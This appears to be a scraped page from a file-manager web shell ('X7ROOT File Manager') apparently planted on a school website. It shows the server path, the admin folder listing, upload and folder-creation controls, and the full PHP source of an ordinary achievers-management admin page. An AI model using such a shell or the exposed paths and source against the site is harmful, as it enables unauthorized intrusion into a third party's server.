X7ROOT File Manager
Current Path:
/home/u126090504/domains/sketkaranjia.com/public_html/admin
home
/
u126090504
/
domains
/
sketkaranjia.com
/
public_html
/
admin
/
π
..
π
achievers.php
(21.44 KB)
π
achv_cat_manage.php
(7.99 KB)
π
achv_edit.php
(9.58 KB)
π
achv_list.php
(8.08 KB)
π
achv_upload.php
(13.39 KB)
π
admin-academic-calendar.php
(20.41 KB)
π
admin-public-disclosure.php
(18.36 KB)
π
admissions.php
(28.76 KB)
π
admissions_error.log
(56 KB)
π
assets
π
banners.php
(9.78 KB)
π
branding_settings.php
(5.93 KB)
π
change_password.php
(3.01 KB)
π
class_master.php
(4.32 KB)
π
contacts.php
(3.83 KB)
π
dashboard.php
(27.76 KB)
π
downloads.php
(4.91 KB)
π
edit_faculty.php
(6.85 KB)
π
events.php
(920 B)
π
export_franchise.php
(930 B)
π
faculty.php
(8.36 KB)
π
fees_list.php
(8.48 KB)
π
fees_upload.php
(6.19 KB)
π
forgot_password.php
(5.76 KB)
π
franchise.php
(7.28 KB)
π
gallery.php
(3.08 KB)
π
grievance-update.php
(1003 B)
π
grievance-view.php
(8.51 KB)
π
grievances.php
(9.55 KB)
π
homework_add.php
(5.98 KB)
π
homework_edit.php
(9.39 KB)
π
homework_list.php
(2.24 KB)
π
img
π
includes
π
index.php
(82 B)
π
login.php
(13.47 KB)
π
logout.php
(102 B)
π
manage_albums.php
(10.82 KB)
π
manage_media.php
(11.77 KB)
π
manage_photos.php
(6.35 KB)
π
manage_videos.php
(18.38 KB)
π
managing-committee.php
(13.64 KB)
π
master_menu.php
(5.75 KB)
π
master_menu_debug.php
(3.73 KB)
π
new_password.php
(3.9 KB)
π
non_academic_achievers.php
(21.2 KB)
π
notice.php
(15.52 KB)
π
notice_error.log
(38.45 KB)
π
notices.php
(8.24 KB)
π
payments.php
(14.96 KB)
π
phpmailer
π
popup.php
(14.07 KB)
π
reset_password.php
(2.27 KB)
π
section_master.php
(6.59 KB)
π
sections_by_class.php
(346 B)
π
secure_session.php
(1000 B)
π
settings.php
(8.34 KB)
π
student_photo_update.php
(1.8 KB)
π
subject_master.php
(6.16 KB)
π
submit-grievance.php
(4.97 KB)
π
testimonials.php
(15.15 KB)
π
update_status.php
(1.66 KB)
π
upi_settings.php
(1.52 KB)
Editing: achievers.php
<?php // admin/achievers.php β Academic Achievers (Advanced UI, 2/2 Form Grid) include 'secure_session.php'; include 'includes/auth.php'; require_once '../config.php'; $success = $error = ""; // CSRF if (empty($_SESSION['csrf_token'])) { $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); } $csrf = $_SESSION['csrf_token']; $allowedTypes = ['jpg','jpeg','png']; $maxSize = 1024 * 1024; // 1024KB // Redirect-safe helper (prevents white screen) function safe_redirect(string $url){ if (!headers_sent()) { header("Location: ".$url); exit; } $u = htmlspecialchars($url, ENT_QUOTES, 'UTF-8'); echo "<script>location.replace('{$u}');</script>"; echo "<noscript><meta http-equiv='refresh' content='0;url={$u}'></noscript>"; exit; } // ---- Helpers ---- function column_exists(mysqli $conn, $table, $col){ $q=$conn->query("SHOW COLUMNS FROM `$table` LIKE '".$conn->real_escape_string($col)."'"); return ($q && $q->num_rows>0); } function crop_and_resize_1024($srcPath, $destPath, $mime) { $info = getimagesize($srcPath); if (!$info) return false; [$w,$h] = $info; if ($mime==='image/jpeg' || $mime==='image/jpg') $src = imagecreatefromjpeg($srcPath); elseif ($mime==='image/png') $src = imagecreatefrompng($srcPath); else return false; if (!$src) return false; if ($w>$h){ $side=$h; $sx=intval(($w-$h)/2); $sy=0; } else { $side=$w; $sx=0; $sy=intval(($h-$w)/2); } $dst = imagecreatetruecolor(1024,1024); if ($mime==='image/png'){ imagealphablending($dst,false); imagesavealpha($dst,true); $t=imagecolorallocatealpha($dst,0,0,0,127); imagefilledrectangle($dst,0,0,1024,1024,$t); } if (!imagecopyresampled($dst,$src,0,0,$sx,$sy,1024,1024,$side,$side)){ imagedestroy($src); imagedestroy($dst); return false; } $ok = ($mime==='image/png') ? imagepng($dst,$destPath,6) : imagejpeg($dst,$destPath,90); imagedestroy($src); imagedestroy($dst); return $ok; } /* ------------------------- POST: Add / Update -------------------------- */ if (isset($_POST['save_achiever'])) { if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'] ?? '')) die("CSRF validation failed"); $id = isset($_POST['id']) ? intval($_POST['id']) : 0; $name = trim($_POST['fname'] ?? ''); $course = trim($_POST['des'] ?? ''); $session = trim($_POST['exp'] ?? ''); $placed = trim($_POST['qual'] ?? ''); $status = ($_POST['status'] ?? 'active') === 'inactive' ? 'inactive' : 'active'; // Secured Marks % (0β100, 2 decimals) $marks_pct = null; if (isset($_POST['marks_pct']) && $_POST['marks_pct'] !== '') { if (!preg_match('/^\d{1,3}(\.\d{1,2})?$/', $_POST['marks_pct'])) { $error = "β Secured Marks must be a number with up to 2 decimals."; } else { $marks_pct = (float)$_POST['marks_pct']; if ($marks_pct < 0 || $marks_pct > 100) { $error = "β Secured Marks must be between 0 and 100."; } else { $marks_pct = number_format($marks_pct, 2, '.', ''); } } } $fimg = ''; // Upload if (empty($error) && !empty($_FILES['fimg']['name'])) { $ext = strtolower(pathinfo($_FILES['fimg']['name'], PATHINFO_EXTENSION)); if (!in_array($ext,$allowedTypes)) $error = "β Only JPG/PNG allowed."; elseif ($_FILES['fimg']['size']>$maxSize)$error = "β File too large. Max 1024KB."; else { $safe = time().'_'.preg_replace("/[^a-zA-Z0-9\\._-]/","_", $_FILES['fimg']['name']); $dir = __DIR__ . "/../uploads/faculty/"; if (!is_dir($dir)) mkdir($dir,0755,true); $tmp = $_FILES['fimg']['tmp_name']; $tmpS = $dir."tmp_".$safe; $final= $dir.$safe; if (!move_uploaded_file($tmp,$tmpS)) $error = "β Upload failed."; else { $info = getimagesize($tmpS); if (!$info){ @unlink($tmpS); $error="β Invalid image file."; } else { $mime = $info['mime']; if (!crop_and_resize_1024($tmpS,$final,$mime)){ @unlink($tmpS); $error="β Image processing failed."; } else { @unlink($tmpS); $fimg = $safe; } } } } } if (empty($error) && $name && $course && $session && $placed) { $hasStatus = column_exists($conn,'fboard','status'); $hasMarksPct = column_exists($conn,'fboard','marks_pct'); if ($id>0) { if ($fimg) { $g=$conn->prepare("SELECT fimg FROM fboard WHERE id=? LIMIT 1"); if ($g){ $g->bind_param("i",$id); $g->execute(); if($r=$g->get_result()->fetch_assoc()){ $old=__DIR__."/../uploads/faculty/".$r['fimg']; if (is_file($old)) @unlink($old); } } } $cols = "fname=?, des=?, exp=?, qual=?"; $types = "ssss"; $vals = [$name,$course,$session,$placed]; if ($fimg) { $cols .= ", fimg=?"; $types.="s"; $vals[]=$fimg; } if ($hasMarksPct) { $cols .= ", marks_pct=?"; $types.="s"; $vals[] = $marks_pct; } if ($hasStatus) { $cols .= ", status=?"; $types.="s"; $vals[] = $status; } $sql = "UPDATE fboard SET $cols WHERE id=?"; $types .= "i"; $vals[] = $id; $stmt = $conn->prepare($sql); $bind = [$types]; foreach ($vals as $k=>$v) { $bind[] = &$vals[$k]; } call_user_func_array([$stmt,'bind_param'],$bind); $stmt->execute(); safe_redirect("achievers.php?msg=updated"); } else { $cols = "fname, des, exp, qual"; $qs = "?,?,?,?"; $types = "ssss"; $vals = [$name,$course,$session,$placed]; if ($fimg) { $cols.=", fimg"; $qs.=", ?"; $types.="s"; $vals[]=$fimg; } if ($hasMarksPct) { $cols.=", marks_pct"; $qs.=", ?"; $types.="s"; $vals[]=$marks_pct; } if ($hasStatus) { $cols.=", status"; $qs.=", ?"; $types.="s"; $vals[]=$status; } $sql = "INSERT INTO fboard ($cols) VALUES ($qs)"; $stmt = $conn->prepare($sql); $bind = [$types]; foreach ($vals as $k=>$v) { $bind[] = &$vals[$k]; } call_user_func_array([$stmt,'bind_param'],$bind); $stmt->execute(); safe_redirect("achievers.php?msg=added"); } } } /* ------------------------- GET: Delete -------------------------- */ if (isset($_GET['delete']) && !isset($_POST['save_achiever'])) { $id = intval($_GET['delete']); $g = $conn->prepare("SELECT fimg FROM fboard WHERE id=? LIMIT 1"); if ($g){ $g->bind_param("i",$id); $g->execute(); if($r=$g->get_result()->fetch_assoc()){ $old=__DIR__."/../uploads/faculty/".$r['fimg']; if (is_file($old)) @unlink($old); } } $d = $conn->prepare("DELETE FROM fboard WHERE id=?"); if ($d){ $d->bind_param("i",$id); $d->execute(); } safe_redirect("achievers.php?msg=deleted"); } /* ------------------------- Edit fetch -------------------------- */ $editData=null; if (isset($_GET['edit'])) { $id=intval($_GET['edit']); $e=$conn->prepare("SELECT * FROM fboard WHERE id=? LIMIT 1"); if ($e){ $e->bind_param("i",$id); $e->execute(); $editData=$e->get_result()->fetch_assoc(); } } /* ------------------------- Filters (Session/Course/Search) -------------------------- */ $fsession = trim($_GET['filter_session'] ?? ''); $fcourse = trim($_GET['filter_course'] ?? ''); $fq = trim($_GET['q'] ?? ''); $where = []; $params = []; $types = ''; if ($fsession !== '') { $where[] = "exp = ?"; $params[] = $fsession; $types .= 's'; } if ($fcourse !== '') { $where[] = "des = ?"; $params[] = $fcourse; $types .= 's'; } if ($fq !== '') { $where[] = "(fname LIKE ? OR des LIKE ? OR exp LIKE ? OR qual LIKE ?)"; $s="%{$fq}%"; array_push($params,$s,$s,$s,$s); $types.='ssss'; } if (column_exists($conn,'fboard','status')) { $where[] = "COALESCE(status,'active') IN ('active','inactive')"; } $whereSql = $where ? ('WHERE '.implode(' AND ',$where)) : ''; $sessions=[]; $courses=[]; if ($r1=$conn->query("SELECT DISTINCT exp AS session_year FROM fboard ORDER BY exp DESC")) while($r=$r1->fetch_assoc()) $sessions[]=$r['session_year']; if ($r2=$conn->query("SELECT DISTINCT des AS course FROM fboard ORDER BY des ASC")) while($r=$r2->fetch_assoc()) $courses[]=$r['course']; // β Now we can safely load the header (no redirects beyond this point) include 'includes/header.php'; ?> <style> :root{ --brand:#e40000; --brand-2:#ffe0e0; --ink:#14171a; --muted:#6b7280; --bg:#f6f7fb; --card:rgba(255,255,255,.88); --ring:rgba(228,0,0,.18); --radius:16px; } body{ background:var(--bg); } .top-bar{ height:5px; background:linear-gradient(90deg,var(--brand),#ff5757); border-radius:8px; } .card{ border:0; border-radius:var(--radius); background:var(--card); backdrop-filter: blur(8px); box-shadow:0 8px 26px rgba(30,30,30,.08); } .card-header{ background:transparent; border-bottom:1px solid rgba(0,0,0,.06); font-weight:600; } .badge-soft{ background:var(--brand-2); color:var(--brand); border-radius:999px; padding:.35rem .6rem; font-weight:700; } .btn-brand{ background:var(--brand); border-color:var(--brand); color:#fff!important; border-radius:14px; box-shadow:0 8px 18px var(--ring); } .btn-brand:hover{ filter:brightness(.95); } .btn-ghost{ background:#fff; border:1px solid rgba(0,0,0,.08); color:var(--ink); border-radius:14px; } .chip{ border:1px solid rgba(0,0,0,.08); background:#fff; border-radius:999px; padding:6px 12px; font-size:.85rem; } .help-text{ color:var(--muted); font-size:.82rem; } /* ===== Advanced Form Grid (2/2) ===== */ .form-grid{ display:grid; grid-template-columns:repeat(2,minmax(0,1fr)); gap:16px; } @media (max-width: 768px){ .form-grid{ grid-template-columns:1fr; } } .fg{ display:flex; flex-direction:column; } .fg label{ font-weight:700; margin-bottom:6px; } .form-control, .custom-select{ border-radius:12px; border-color:rgba(0,0,0,.12); box-shadow:none; transition:box-shadow .15s ease, border-color .15s ease; } .form-control:focus, .custom-select:focus{ border-color:var(--brand); box-shadow:0 0 0 .20rem var(--ring); } .thumb{ width:64px;height:64px;object-fit:cover;border-radius:12px;box-shadow:0 4px 12px rgba(0,0,0,.08); } /* Table */ .table-modern thead th{ background:#fff; border-bottom:1px solid rgba(0,0,0,.08); font-size:.82rem; text-transform:uppercase; letter-spacing:.02em; } .table-modern tbody td{ vertical-align:middle; } .table-modern tbody tr{ border-bottom:1px solid rgba(0,0,0,.05); } .table-modern tbody tr:hover{ background:#fff; box-shadow:inset 0 0 0 9999px rgba(228,0,0,.02); } .grid .card-img-top{ height:180px; object-fit:cover; border-top-left-radius:var(--radius); border-top-right-radius:var(--radius); } .card.grid{ transition:transform .15s ease, box-shadow .15s ease; } .card.grid:hover{ transform:translateY(-3px); box-shadow:0 10px 24px rgba(0,0,0,.12); } </style> <div class="container mt-3 mb-4"> <div class="d-flex align-items-center justify-content-between mb-2"> <h4 class="m-0">π Manage Academic Achievers</h4> <div class="chip"><strong>Images:</strong> 1024Γ1024 β’ Max 1024KB</div> </div> <div class="top-bar mb-3"></div> <div class="mb-3 d-flex justify-content-end"> <button class="btn btn-ghost me-2" data-bs-toggle="modal" data-bs-target="#allAchieversModal">π Quick Grid View</button> <a class="btn btn-brand" href="#achiever-form">β Add New</a> </div> <?php if (!empty($_GET['msg'])) { $m=$_GET['msg']; if ($m==='deleted') echo '<div class="alert alert-success shadow-sm">ποΈ Achiever deleted.</div>'; if ($m==='added') echo '<div class="alert alert-success shadow-sm">β Achiever added.</div>'; if ($m==='updated') echo '<div class="alert alert-success shadow-sm">β Achiever updated.</div>'; } if ($error) echo '<div class="alert alert-danger shadow-sm">'.htmlspecialchars($error).'</div>'; ?> <!-- ===== Form (2/2 Grid) ===== --> <div class="card mb-4" id="achiever-form"> <div class="card-header d-flex align-items-center justify-content-between"> <span><?= $editData ? "βοΈ Edit Achiever" : "β Add Achiever"; ?></span> <span class="badge-soft"><?= $editData ? "Edit Mode" : "Create Mode"; ?></span> </div> <div class="card-body"> <form method="POST" enctype="multipart/form-data"> <input type="hidden" name="csrf_token" value="<?= $csrf ?>"> <?php if ($editData): ?><input type="hidden" name="id" value="<?= (int)$editData['id'] ?>"><?php endif; ?> <div class="form-grid"> <div class="fg"> <label>Name</label> <input type="text" name="fname" class="form-control" required value="<?= htmlspecialchars($editData['fname'] ?? '') ?>"> </div> <div class="fg"> <label>Course</label> <input type="text" name="des" class="form-control" required value="<?= htmlspecialchars($editData['des'] ?? '') ?>"> </div> <div class="fg"> <label>Session</label> <input type="text" name="exp" class="form-control" required value="<?= htmlspecialchars($editData['exp'] ?? '') ?>"> </div> <div class="fg"> <label>Placed at</label> <input type="text" name="qual" class="form-control" required value="<?= htmlspecialchars($editData['qual'] ?? '') ?>"> </div> <div class="fg"> <label>Secured Marks (%)</label> <input type="number" step="0.01" min="0" max="100" name="marks_pct" class="form-control" value="<?= htmlspecialchars(isset($editData['marks_pct']) ? number_format((float)$editData['marks_pct'],2,'.','') : '') ?>" placeholder="e.g., 88.50"> <div class="help-text mt-1">0 to 100, up to 2 decimal places.</div> </div> <div class="fg"> <label>Status</label> <?php $hasStatus = column_exists($conn,'fboard','status'); ?> <?php if ($hasStatus): ?> <select name="status" class="custom-select"> <option value="active" <?= ($editData['status'] ?? 'active')==='active'?'selected':'' ?>>Active</option> <option value="inactive" <?= ($editData['status'] ?? 'active')==='inactive'?'selected':'' ?>>Inactive</option> </select> <?php else: ?> <input type="text" class="form-control" value="(Add status column to enable)" disabled> <?php endif; ?> </div> <div class="fg"> <label>Photo (auto 1024Γ1024 crop)</label> <input type="file" name="fimg" class="form-control"> </div> <div class="fg d-flex align-items-end"> <?php if (!empty($editData['fimg'])): ?> <img src="../uploads/faculty/<?= htmlspecialchars($editData['fimg']) ?>" class="thumb" alt=""> <?php else: ?> <div class="help-text">Preview appears here after upload.</div> <?php endif; ?> </div> </div> <div class="mt-3 d-flex gap-2"> <button type="submit" name="save_achiever" class="btn btn-brand"> <?= $editData ? "Update Achiever" : "Add Achiever" ?> </button> <?php if ($editData): ?><a href="achievers.php" class="btn btn-ghost">Cancel</a><?php endif; ?> </div> </form> </div> </div> <!-- Filters --> <form class="card mb-3 p-3" method="get" action=""> <div class="form-grid"> <div> <label class="mb-1"><strong>Filter Session</strong></label> <select name="filter_session" class="custom-select"> <option value="">All</option> <?php foreach ($sessions as $s): ?> <option value="<?= htmlspecialchars($s) ?>" <?= $fsession===$s?'selected':'' ?>><?= htmlspecialchars($s) ?></option> <?php endforeach; ?> </select> </div> <div> <label class="mb-1"><strong>Filter Course</strong></label> <select name="filter_course" class="custom-select"> <option value="">All</option> <?php foreach ($courses as $c): ?> <option value="<?= htmlspecialchars($c) ?>" <?= $fcourse===$c?'selected':'' ?>><?= htmlspecialchars($c) ?></option> <?php endforeach; ?> </select> </div> <div> <label class="mb-1"><strong>Search</strong></label> <div class="input-group"> <input type="text" name="q" class="form-control" placeholder="Name, course, session, placed atβ¦" value="<?= htmlspecialchars($fq) ?>"> <div class="input-group-append"> <button class="btn btn-ghost" type="submit">Apply</button> </div> </div> </div> <div class="d-flex align-items-end"> <?php if ($fsession || $fcourse || $fq): ?> <a class="btn btn-link p-0" href="<?= htmlspecialchars(strtok($_SERVER['REQUEST_URI'],'?')) ?>">Clear filters</a> <?php endif; ?> </div> </div> </form> <!-- Table --> <div class="card"> <div class="card-header d-flex align-items-center justify-content-between"> <span>All Achievers</span> <span class="badge-soft">List View</span> </div> <div class="table-responsive"> <table class="table table-modern table-borderless align-middle mb-0"> <thead> <tr> <th>ID</th><th>Photo</th><th>Name</th><th>Course</th><th>Session</th><th>Marks %</th><th>Placed at</th><?php if (column_exists($conn,'fboard','status')) echo '<th>Status</th>'; ?><th>Action</th> </tr> </thead> <tbody> <?php $sqlList = "SELECT * FROM fboard $whereSql ORDER BY id DESC"; $stl = $conn->prepare($sqlList); if ($types) $stl->bind_param($types, ...$params); $stl->execute(); $res = $stl->get_result(); if ($res && $res->num_rows>0) { $hasMarks = column_exists($conn,'fboard','marks_pct'); while ($row = $res->fetch_assoc()) { $marksDisp = $hasMarks && $row['marks_pct'] !== null ? number_format((float)$row['marks_pct'],2) . '%' : 'β'; echo "<tr>", "<td>".(int)$row['id']."</td>", "<td>".($row['fimg'] ? "<img src='../uploads/faculty/".htmlspecialchars($row['fimg'])."' class='thumb'>" : "β")."</td>", "<td><strong>".htmlspecialchars($row['fname'])."</strong></td>", "<td>".htmlspecialchars($row['des'])."</td>", "<td>".htmlspecialchars($row['exp'])."</td>", "<td><span class='badge-soft'>".$marksDisp."</span></td>", "<td>".htmlspecialchars($row['qual'])."</td>"; if (column_exists($conn,'fboard','status')) { $badge = ($row['status']==='inactive') ? "<span class='badge-soft' style='background:#e5e7eb;color:#374151;'>Inactive</span>" : "<span class='badge-soft'>Active</span>"; echo "<td>$badge</td>"; } echo "<td class='text-nowrap'>", "<a href='?edit=".$row['id']."' class='btn btn-sm btn-ghost me-1'>Edit</a>", "<a href='?delete=".$row['id']."' class='btn btn-sm btn-brand' onclick='return confirm(\"Delete?\")'>Delete</a>", "</td>", "</tr>"; } } else { echo "<tr><td colspan='".(column_exists($conn,'fboard','status')?9:8)."' class='text-muted text-center py-4'>No achievers found</td></tr>"; } ?> </tbody> </table> </div> </div> </div> <!-- Modal: All Achievers (Grid) --> <div class="modal fade" id="allAchieversModal" tabindex="-1" aria-hidden="true"> <div class="modal-dialog modal-xl modal-dialog-scrollable"> <div class="modal-content" style="border:0;border-radius:16px;"> <div class="modal-header" style="border:0;"> <h5 class="modal-title">π All Achievers</h5> <button type="button" class="close" data-bs-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body pt-0"> <div class="row"> <?php $hasMarks = column_exists($conn,'fboard','marks_pct'); $res2 = $conn->query("SELECT * FROM fboard ORDER BY id DESC"); if ($res2) { while ($r = $res2->fetch_assoc()) { echo "<div class='col-md-3 col-sm-6 mb-4'>", "<div class='card grid'>", "<img src='../uploads/faculty/".htmlspecialchars($r['fimg'])."' class='card-img-top'>", "<div class='card-body text-center'>", "<h6 class='mb-1'>".htmlspecialchars($r['fname'])."</h6>", "<div class='help-text mb-1'>".htmlspecialchars($r['des'])." β’ ".htmlspecialchars($r['exp'])."</div>", ($hasMarks && $r['marks_pct'] !== null ? "<div class='badge-soft mb-1'>".number_format((float)$r['marks_pct'],2)."%</div>" : ""), "<div class='small'>Placed: <strong>".htmlspecialchars($r['qual'])."</strong></div>", (column_exists($conn,'fboard','status') ? "<div class='help-text mt-1 text-capitalize'>Status: ".htmlspecialchars($r['status'])."</div>" : ""), "</div>", "</div>", "</div>"; } } ?> </div> </div> </div> </div> </div> <?php include 'includes/footer.php'; ?>
Upload File
Create Folder